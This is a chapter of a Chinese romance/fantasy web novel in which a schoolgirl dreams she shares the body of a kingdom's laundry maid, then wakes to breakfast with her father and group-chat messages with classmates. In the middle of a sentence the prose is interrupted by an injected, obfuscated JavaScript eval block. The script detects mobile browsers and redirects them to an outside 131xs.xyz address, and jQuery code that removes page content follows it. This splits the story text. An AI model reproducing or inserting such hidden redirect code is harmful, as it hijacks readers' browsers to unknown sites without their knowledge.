6. 第 6 章
作品:《花的恋爱情书》 薄纸很快被占满,笔力又劲又重,斜上角的横线上,淡淡的樱花印着。
红笔借过的字,化作最后的留言,明目张胆。
【学习日记生存day1】
夜晚,空无一人的教室,风吹开一条缝,潜入日记本,直直地停在那页。
月光润色樱花,它看着似乎更浓了。
*
枕头顺着肩颈线,折出皱纹,楼愿埋在柔软里,发丝混着汗,一缕一缕倒着。
她熟练踢开被子,脚抻了抻,又仿佛踏空般,猛地一抽。
她感觉自己被沉塘了,水硬生生挤进大脑,她的身体成了水的容器,偶尔挣扎的吞吐是她皮囊最后的自救。
衣角后摆一紧,窒息感削减大半,她胸膛起伏着,时不时脸上划过细小的瘙痒。
“Rio,你还好吗?”来人先轻拍了下脸,见没反应,又加重力道,灼烧感袭来。
Rio是谁?
有病啊,谁打我?!
楼愿死命想睁开眼,眼睫颤动着,眼皮却一动不动。
眼前又一黑,被毛巾盖住,粗糙颗粒从左到右,从上至下,碾过她的皮肤。
脸上的不适感又消退下去,她感觉干燥不少。
楼愿皱住眼,又摊开,用力地撬起眼皮的锁,一阵白光刺过,眼眶又装下世界。
她成功了。
但这古老的欧式建筑是怎么回事?她温暖的床呢?
她越看越熟悉,盛水的盆、随处可见的泡沫水渍、一篓框的衣服,无不暗示着她现在的处境。
又是那个梦!
她动动手指,但没有丝毫反应。
她又开口说话,由轻到重,由平静到嘶吼,可是这具身体却发不出任何声音。
楼愿怀疑自己中邪了。
还是很厉害的邪。
思索间,这具身体真正的主人终于苏醒,她抬起头,微微发胀的头有些痛,带着楼愿视线上移,看着眼前面带忧色的人:“Alice,我怎么了?”
被称Alice的人松了口气,说:“你刚刚被Celina按进水缸里了,她说为了惩罚你固执的逃跑行为,但她刚刚被公主叫走了,我偷偷过来看你,发现你在水里沉的很深,还晕过去了!”
不会是我睡的太沉了害得吧!楼愿心想。
“你现在还有没有事?刚才吓死我了!”她又接了一嘴,眉中的担心仍然凝着。
“没事…谢谢你还关心我,你快进去吧,等会Celina回来就糟了。”说完,这具身体推着Alice向前几步,摆手催促。
Alice跄踉着一步三回头地离开。
等那头棕发离开视线,Rio扫视一圈,确认四下无人,冷静开口:“在我脑海中的人,你是谁?”
楼愿惊愕出声:“你可以感知到我我?能看到我吗?能听到我说话吗?”
“不能看见,但听得到声音。”
得到回答,楼愿如实叹了口气,苦笑道:“还好不是我一个人的自言自语。”
“你说什么?”
“没什么…没什么。”楼愿正色道“我叫楼愿,但是我也不知道我是怎么过来的,我并不是这个世界的人。”
Rio勾起滴水的发丝,挽在耳后,谨慎开口:“这是什么意思?我们不在一个王国,对吗?”
楼愿艰难解释道:“我也不知道怎么说,但是,我不是王国的人,或许你可以把我视为外来者?或者新时代的人?”
Rio双手撑住水缸边,支起瘦弱的肩膀:“好的,那我理解了,你是不是只能通过我的眼睛看东西?拥有触感?但是操纵不了我的身体?”
楼愿答:“是的。”
缸中水恢复平静,就着天光,Rio的五官逐渐清晰。
“!我们长得一摸一样!”楼愿惊呼道。
Rio被她声量惊了惊,沉思片刻,嘴唇蠕动,还没开口,便被叩叩的敲门声打断。
“你好,我来拿王子洗干净的衣服。”门外传来清冽男声,话语里带着礼貌。
Rio匆忙跑入里间,两身衬服叠放整齐,不带一丝褶皱,她仔细置于手臂,小心翼翼走到门口。
按下把手,门锁受压松开齿扣,Rio边掌把,边伸出手臂。
来人皮肤很白,高身量,骑士服穿的一丝不苟,手很大很宽,握住剑鞘的手青筋爆出,充满力量。
他滞了片刻,看着有些面生的Rio,笑着说:“我之前好像没有见过你?是新来的吗?”
Rio垂眸,行了个礼,答道:“是的,先生。”
男士似乎不介意礼节,隔着布料,微微扶住她的手腕,拦下她的动作:“不用行礼,我不叫先生,我是Jet,很高兴认识你。”
他伸手,是个向下的握手礼。
“那你呢?你叫什么?”
“Rio。”Rio轻轻回握,两手交触时,她抖了抖。
Jet只是承接住她颤抖的手,眼中含着笑意,平视着看她。
他的手果然是细腻的,又很温柔。
Rio也看着他笑。
而此时,楼愿视角,那个男士却是一脸模糊。
她愣愣地听完了对话,感受到一阵温热后,她又失去了意识。
恍惚间,她似乎听到一记呵斥扑面而来:“Rio,还站着干什么?…给我滚过来…!”
...
滑索被拉动,遮光窗帘呈上阳光,铺在楼愿床脚,随后延伸到枕头上。
“起床了,闺女,爸爸今天给你准备了你喜欢的煎蛋香菜面!”走动声在她耳边渐近又渐远。
我回来了吗?
楼愿翻了个身,揉揉眼睛,紧扣住枕头,蛄蛹着卷住被子,慢悠悠地坐起来。
她在床上弹了弹,伸了个懒腰,她紧了紧喉咙,声音带着点涩,她嚷道:“爸爸!我说了不要这么早喊我嘛!今天是周末!”
“周末也不能睡到下午啊,快起来,吃面!再不吃凉了,又抢着要我再给你做一碗!”厨房水声不断,空气中漂浮着的是烟火气。
楼愿就着睡衣,一屁股坐在椅子上,独属于她的碗,面堆的正好三分之二,根根裹汁,汤面上点缀着细小的油圈,油圈之上又铺了一层香菜,煎的焦黄的蛋,形状完美,独占着c位。
“不愧是大厨!面做的就是好看。”楼愿那筷子搅上一口,送进嘴里,温温的触感。
“味道呢?不能光看不中吃吧?”楼涛在厨房笑呵呵的说。
“那必须好吃!我爸做的是可是世界上独一份!天上没有,人间仅一!不是我吹牛!”
“你这丫头,再这么夸,你爸我可得飘喽。”楼涛端了盘切好的水果,从厨房出来,敲了敲她的头。
楼愿嗔怪地蔑了一眼,张着大眼睛,做作地说:“等你飘到天上去,记得把我也带上,正好还没坐过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468203|169855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人带机,怪新鲜的。”
她又引来一顿敲。
热气洇开,露出下面的底色,是温馨的暖黄。
…
她吃完了面,洗净碗,擦干手,又进了房间。
门悄然落锁,楼愿盘腿坐在椅子上,身子软软地靠着椅背,随手拿出的草稿纸对着灯光,一片雪白。
Rio是王国的洗衣侍女,Jet是暂时不知道身份的男士。
初次梦里,她看到的是自己成了Rio,在解救侍卫的路上,侍卫和她火里奔跑。
这次,却是在Rio的脑海中,但Rio还停留在故事线的起点,一切都没发生。
所以,上次是大概内容,这次是细节?
又要重头来一遍?!
脑中乱线一团,楼愿甩开草稿纸,盘着的腿蹬直,椅子借力向后滑,她凭着惯性转了一溜。
桌上手机嗡嗡作响,弹窗不断亮起。
楼愿又滑回来,点开未读,学习日记群,@她的消息是第一条。
【@厂圆的愿,你笔记本怎么回事?】
【图片】
楼愿手指伸缩,照片被放大。
红色笔记本停在首页,字倒是没变化,唯独斜角处,如炭的黑,连横线都盖住。
那是她之前画花的地方。
【@黎民百姓,啊?我之前只在这画了朵樱花啊?画的还很难看…谁给我抹上了?】
楼愿激烈地敲字,嗖的一声后,她放下手机,百思不得其解。
怎么这么多怪事?我的花呢?
她竖起右腿,置于胸前,双手相扣抱紧右小腿,眼球转动片刻,没动。
手机又亮,这次是另一个人。
【@厂圆的愿,你今天怎么没来补课?】
署名是z,头像是一片白,字母z在中间,很小,不细看几乎忽略。
这是应昭的id。
【哦对对,愿愿,今天不是说要补课?看你没来,我还准备给你掩护一下,但又听林冲说你请假了,生病还是怎么?】
【什么?补课?!什么时候通知的!我搞忘了!】楼愿手指疯狂跳动。
【周五晚上十点半,你可能睡了。】
【……】
【我确实睡觉去了。】
后面的四个句号,被群里的三人复制,显得她更苍凉。
【你说我请假了?咋回事?@黎民百姓】
【我咋知道?…】
楼愿又跳下椅子,光着脚踩过地板,从门里朝外探出个头,大喊道:“爸爸,你是不是帮我请假了?”
楼涛按下暂停键,电视机里锅碗瓢盆碰撞声停住,他脸上还带着乐呵的笑,分了个眼神给她,慢慢回答:“对啊,你们林老师问我了,我看你那睡得像猪似的,就说你不舒服,给你请假了,没想到你比猪还厉害,中午才起床。”
楼愿忽略她爸骂她的话,跨步拥过来,狠狠拍了她老父亲的肩膀,面色激动:“老爸,我下辈子还要给你做女儿!再帮我打掩护!”
搞得楼涛一怔,手掌在裤子上磨了下,笑起来,又意识到不对,横起眉:“死丫头,不准经常不上学啊,这次是例外,我是看你太累了…”
她爸又开始了。
楼愿小步后撤,溜进房间,敷衍的说:“知道了,知道了。”随后砰的关上门。
楼涛见热脸贴冷屁股,叹气,咽下未出口的话,又打开了电视。